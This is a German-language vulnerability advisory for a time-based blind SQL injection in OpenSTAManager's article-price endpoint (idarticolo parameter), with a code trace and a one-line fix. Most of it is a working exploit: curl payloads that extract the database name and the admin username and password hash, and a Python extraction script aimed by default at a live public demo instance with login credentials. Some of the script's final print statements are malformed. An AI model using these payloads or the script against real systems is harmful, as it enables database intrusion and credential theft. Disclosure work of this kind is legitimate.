
CVE-2026-24416 - OpenSTAManager hat eine zeitbasierte blinde SQL-Injection im Artikelpreismodul
| Feld | Details |
|---|
| CVE-ID | CVE-2026-24416 |
| Schweregrad | HOCH |
| Advisory | Advisory anzeigen |
| Entdeckt von | Lukasz Rybak |
Kritische zeitbasierte Blind-SQL-Injection-Schwachstelle im Artikelpreismodul von OpenSTAManager v2.9.8, die es authentifizierten Angreifern ermöglicht, vollständige Datenbankinhalte einschließlich Benutzeranmeldedaten, Kundendaten und Finanzunterlagen durch zeitbasierte Boolesche Inferenzangriffe zu extrahieren.
Status: ✅ Bestätigt und getestet auf einer Live-Instanz (v2.9.8) und demo.osmbusiness.it (v2.9.7)
Angreifbarer Parameter: idarticolo (GET)
Betroffener Endpunkt: /ajax_complete.php?op=getprezzi
Betroffenes Modul: Articoli (Artikel/Produkte)
OpenSTAManager v2.9.8 enthält eine kritische zeitbasierte Blind-SQL-Injection-Schwachstelle im Vervollständigungs-Handler für Artikelpreise. Die Anwendung versäumt es, den Parameter idarticolo vor der Verwendung in SQL-Abfragen ordnungsgemäß zu bereinigen, sodass Angreifer beliebige SQL-Befehle einschleusen und sensible Daten durch zeitbasierte Boolesche Inferenz extrahieren können.
Angriffskette:
Einstiegspunkt: /ajax_complete.php (Zeile 27)
$op = get('op');
$result = AJAX::complete($op);
Der Parameter op wird abgerufen, die Schwachstelle liegt jedoch in anderen Parametern.
Weiterleitung: /src/AJAX.php::complete() (Zeile 189)
$result = self::getCompleteResults($file, $resource);
Ausführung: /src/AJAX.php::getCompleteResults() (Zeile 402)
require $file;
Modulspezifische complete.php-Dateien werden eingebunden.
Angreifbarer Parameter: /modules/articoli/ajax/complete.php (Zeile 26)
$idarticolo = get('idarticolo');
Der Parameter idarticolo wird aus der GET-Anfrage abgerufen.
Angreifbare SQL-Abfrage: /modules/articoli/ajax/complete.php (Zeile 70) PRIMÄRE SCHWACHSTELLE
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Auswirkung: Direkte Verkettung von $idarticolo ohne prepare(), während $idanagrafica ordnungsgemäß bereinigt wird.
Kontext - Vollständige Abfragestruktur (Zeilen 39-74):
Die angreifbare Abfrage ist Teil einer UNION-Abfrage, die Preishistorie aus Rechnungen und Lieferscheinen abruft:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ ORDNUNGSGEMÄSS BEREINIGT (Zeile 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ ANGREIFBAR - KEIN prepare() (Zeile 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
Grundursache: Der Entwickler verwendete prepare() korrekt im ersten SELECT (Zeile 54), vergaß es jedoch im zweiten SELECT der UNION-Abfrage (Zeile 70), wodurch ein inkonsistentes Sicherheitsmuster entstand.
Schritt 1: Anmelden
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Schritt 2: Schwachstelle verifizieren (Zeitbasierter SLEEP)
# Test mit SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Ergebnis: real 0m10.32s (10,32 Sekunden)
# Test mit SLEEP(3) - sollte ~3 Sekunden dauern
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Ergebnis: real 0m3.36s (3,36 Sekunden)
# Test ohne SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Ergebnis: real 0m0.31s (0,31 Sekunden)

Schritt 3: Datenextraktion - Datenbankname
# Erstes Zeichen des Datenbanknamens extrahieren
# Testen, ob erstes Zeichen 'o' ist (erwartet: TRUE für 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m2.34s (SLEEP ausgeführt - Bedingung TRUE)
# Testen, ob erstes Zeichen 'x' ist (erwartet: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m0.31s (SLEEP nicht ausgeführt - Bedingung FALSE)
# Zweites Zeichen extrahieren (erwartet: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m2.34s (SLEEP ausgeführt - bestätigt zweites Zeichen ist 'p')
# Ersten 3 Zeichen extrahieren (erwartet: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m2.33s (SLEEP ausgeführt - bestätigt 'ope...')
Schritt 4: Sensible Daten extrahieren - Admin-Anmeldedaten
# Admin-Benutzernamen extrahieren (testen, ob erste 5 Zeichen 'admin' sind)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m2.33s (SLEEP ausgeführt - bestätigt Admin-Benutzernamen)
# Erstes Zeichen des Passwort-Hashes extrahieren (erwartet: '$' für bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Ergebnis: real 0m2.33s (SLEEP ausgeführt - bestätigt bcrypt-Hash-Format)
Payload-Erklärung:
Ursprünglicher Payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-kodiert: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)
Injektion im Detail:
1. 1 - Gültige Artikel-ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolesche Bedingung zum Testen
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Führe SLEEP(2) aus, wenn Bedingung wahr ist
SQL-Abfrageergebnis:
WHERE
`idarticolo`=1
AND SUBSTRING(DATABASE(),1,1)='o'
AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
AND `dt_tipiddt`.`dir`="entrata"
AND `idanagrafica`=1
Beispiel für automatisiertes Extraktionsskript:
import requests
import time
import string
import sys
# Standardkonfiguration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3 # Auf 3s erhöht für Stabilität auf der entfernten Demo-Instanz
def login(session, base_url, user, pwd):
"""Authentifiziert bei der Anwendung und hält die Sitzung aufrecht."""
login_url = f"{base_url}/index.php?op=login"
data = {"username": user, "password": pwd}
print(f"[*] Versuche Anmeldung bei: {login_url}...")
try:
response = session.post(login_url, data=data, timeout=10)
# Prüfen, ob die Anmeldung erfolgreich war (normalerweise durch Vorhandensein eines Logout-Links oder Weiterleitung)
if "logout" in response.text.lower() or response.status_code == 200:
print("[+] Anmeldung erfolgreich!")
return True
else:
print("[-] Anmeldung fehlgeschlagen. Bitte Anmeldedaten überprüfen.")
return False
except Exception as e:
print(f"[!] Verbindungsfehler: {e}")
return False
def extract_data(session, base_url, sql_query, label="Daten"):
"""Extrahiert Daten zeichenweise, bis das Ende der Zeichenfolge erreicht ist."""
print(f"\n[*] Extrahiere: {label}...")
result = ""
position = 1
target_endpoint = f"{base_url}/ajax_complete.php"
# Zeichensatz optimiert für Datenbanknamen und bcrypt-Hashes ($, ., /)
charset = string.ascii_letters + string.digits + "$./" + string.punctuation
while True:
found_char = False
for char in charset:
# Payload: Wenn die Bedingung wahr ist, schläft der Server für SLEEP_TIME
# Verwendung von ORD() und SUBSTRING() zur sicheren Handhabung verschiedener Zeichentypen
payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
params = {
"op": "getprezzi",
"idanagrafica": "1",
"idarticolo": payload
}
try:
start_time = time.time()
session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
elapsed = time.time() - start_time
if elapsed >= SLEEP_TIME:
result += char
found_char = True
sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
sys.stdout.flush()
break
except requests.exceptions.RequestException:
# Netzwerk-Jitter/Timeouts behandeln, indem wir wiederholen oder fortsetzen
continue
# Wenn kein Zeichen aus dem Zeichensatz einen Schlaf ausgelöst hat, haben wir das Ende der Daten erreicht
if not found_char:
print(f"\n[!] Ende der Zeichenfolge oder keine Daten an Position {position} gefunden.")
break
position += 1
return result
def main():
s = requests.Session()
# Ziel-URL als Befehlszeilenargument übergeben
target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
if login(s, target, USERNAME, PASSWORD):
# 1. Datenbanknamen extrahieren
db = extract_data(s, target, "SELECT DATABASE()", "Datenbankname")
# 2. Admin-Benutzernamen extrahieren
user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin-Benutzername (id=1)")
# 3. Passwort-Hash extrahieren (Bcrypt-Hashes sind ~60 Zeichen; die Schleife erledigt das automatisch)
pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Passwort-Hash")
print(f"\n\n{'='*35}")
print(f(" ABSCHLUSSBERICHT"))
print(f("{'='*35}"))
print(f("Ziel-URL: {target}"))
print(f("Datenbank: {db}"))
print(f("Benutzername: {user}"))
print(f("Hash: {pwd_hash}"))
print(f("{'='*35}"))
if __name__ == "__main__":
main()

Betroffene Benutzer: Alle authentifizierten Benutzer mit Zugriff auf die Artikelpreisfunktionalität (typischerweise Benutzer, die Angebote, Rechnungen, Bestellungen verwalten).
Empfohlener Fix:
Datei: /modules/articoli/ajax/complete.php
VORHER (Angreifbar - Zeile 70):
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
NACHHER (Behoben):
WHERE
`idarticolo`='.prepare($idarticolo).' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Entdeckt von Łukasz Rybak
Diese CVE wurde gemäß den Praktiken der koordinierten Offenlegung von Schwachstellen verantwortungsvoll gemeldet. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.